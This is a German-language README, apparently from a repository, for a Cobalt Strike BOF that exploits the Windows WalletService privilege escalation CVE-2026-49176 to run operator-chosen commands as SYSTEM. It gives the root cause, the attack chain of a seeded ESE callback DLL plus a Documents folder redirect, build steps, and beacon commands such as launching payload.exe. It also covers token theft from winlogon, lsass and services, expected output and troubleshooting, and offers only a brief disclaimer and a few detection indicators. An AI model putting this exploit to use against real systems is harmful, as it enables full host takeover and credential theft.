
CVE-2026-49176 WalletService LPE — eigenständiger PoC + Cobalt Strike BOF (SYSTEM-Befehl in interaktiver Sitzung)
Cobalt Strike Beacon Object File (BOF) für lokale Privilegienerweiterung über Windows WalletService (CVE-2026-49176, behoben im Juli 2026).
Aus einem Beacon mit mittlerer Integrität (Standardbenutzer) staged dieses Tool eine manipulierte Wallet-ESE-Datenbank, leitet Documents um, löst WalletService aus und führt eine vom Aufrufer angegebene Befehlszeile als NT AUTHORITY\SYSTEM auf dem interaktiven Desktop aus.
Nur-BOF-Variante.
Originaler eigenständiger PowerShell-PoC: DavidCarliez/CVE-2026-49176_LPE_POC. Gleiche Schwachstellenursache; andere Auslieferung und Prozessstart nach SYSTEM.
Nur für autorisierte Sicherheitsforschung, Ausbildung und defensive Validierung.
WalletService löst FOLDERID_Documents auf, während es den Aufrufer imitiert, und kehrt vor dem Öffnen zu LocalSystem zurück:
<Documents>\Wallet\wallet.db
Ein Standardbenutzer kann diese Datenbank mit einem ESE-benutzerdefinierten Standard-Callback (PATH\payload.dll!Export) befüllen, Documents auf ein kontrolliertes Verzeichnis zeigen und WinRT WalletManager.RequestStoreAsync / GetItemsAsync aufrufen, sodass der Dienst die DLL als SYSTEM lädt.
Artikel: CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService verwendet häufig ein gefiltertes SYSTEM-Token (kein nutzbares SeAssignPrimaryToken / SeImpersonate). Direktes CreateProcess* → 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")result.txt-Diagnose| Element | Anforderung |
|---|
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| Befehl | Ausgabe |
|---|---|
build.bat / build.bat both | DLL + Broker + x64-BOF |
build.bat payload | Nur DLL + Broker |
build.bat clean | Artefakte entfernen |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
Bearbeiten Sie die VCVARS64-Pfade in build.bat, falls VS nicht standardmäßig installiert ist.
Kritische Flags: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (Sicherheit des CS-BOF-Linkers).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Nach jedem Rebuild neu laden.)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= kann winlogon, services, lsass oder ein Broker-Pfad sein.
Documents wird auch bei Fehlern wiederhergestellt, sofern die Umleitung erfolgreich war.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + Callback-DLLOpenProcess-/Token-APIs gegen winlogon/lsass/servicesCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW in interaktive Sitzungen| Link | Beschreibung |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | Ursprünglicher eigenständiger LPE-PoC (Upstream-ForschungspoC) |
| Artikel | Ursprünglicher Forschungsartikel |
| Phase | Ursprünglicher PoC | Dieser BOF |
|---|
| ESE-DB befüllen | wallet_ese_seed.exe | In-BOF Jet*A |
| Documents umleiten | documents_path.exe | In-BOF SHGet/SetKnownFolderPath |
| Wallet auslösen | PowerShell WinRT | In-BOF RoGetActivationFactory |
| Callback-DLL | wallet_callback_shell.dll | wallet_callback.dll |
| Ursprünglicher PoC | Dieser BOF |
|---|
| Zielprozess | Fest verdrahtetes cmd.exe | Vom Operator angegebene Befehlszeile |
| Primäre Methode | Temporärer Dienst → shell_broker.exe → CreateProcessAsUserW | Token-Diebstahl von winlogon / services / lsass → Spawn |
| Fallback | Keiner | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| Beacon | x64, mittlere Integrität (nicht erhöht) |
| Ziel | Verwundbarer WalletService (vor dem Patch vom Juli 2026) |
| CS | Cobalt Strike 4.x mit BOF-Unterstützung |
| Build | VS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT) |
| Log | Bedeutung |
|---|
JetAddColumn: -1003 | ESE-Parameterproblem |
error=1314 | Gefiltertes SYSTEM; Token-Diebstahl / Broker erforderlich |
STEAL_FAIL error=5 | Zielprozess/-token kann nicht geöffnet werden |
StartService error=32 | Freigabeverletzung (durch cmd-Wrapper entschärft) |
detail=all_methods | Alle Post-SYSTEM-Strategien fehlgeschlagen |
Linker Unknown symbol '??_C@_...' | Schlechte BOF-Build-Flags; mit build.bat neu erstellen |